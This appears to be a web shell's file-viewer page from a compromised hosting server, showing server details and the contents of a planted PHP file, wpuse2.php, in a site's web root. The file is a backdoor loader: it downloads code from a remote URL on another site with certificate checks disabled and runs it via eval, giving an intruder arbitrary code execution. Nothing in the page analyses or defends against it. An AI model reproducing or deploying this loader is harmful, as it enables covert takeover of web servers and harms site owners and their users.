HEX
Server: LiteSpeed
System: Linux standart103.isimtescil.net 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: byildiz (11197)
PHP: 8.2.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/byildiz.com.tr/httpdocs/wpuse2.php
<?php

function get_contents($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    $result = curl_exec($ch);

    if ($result === false) {
        http_response_code(404);
        die("CURL ERROR: " . curl_error($ch));
    }

    curl_close($ch);
    return $result;
}

$url = "https://drama.bru.ac.th/wp-content/uploads/auto.txt";
$encoded_code = get_contents($url);

// Jika kosong, langsung error biar ga blank
if (trim($encoded_code) === "") {
    http_response_code(500);
    die("ERROR: File dari URL kosong / tidak terbaca");
}

// Debug manual (optional)
// echo "<pre>"; print_r($encoded_code); echo "</pre>"; exit;

// Tangkap error eval biar tidak blank
try {
    eval("?>".$encoded_code."<?php ");
} catch (Throwable $e) {
    // Menampilkan error jika eval gagal
    echo "<pre>Eval Error: " . $e->getMessage() . "</pre>";
    http_response_code(500);
}
?>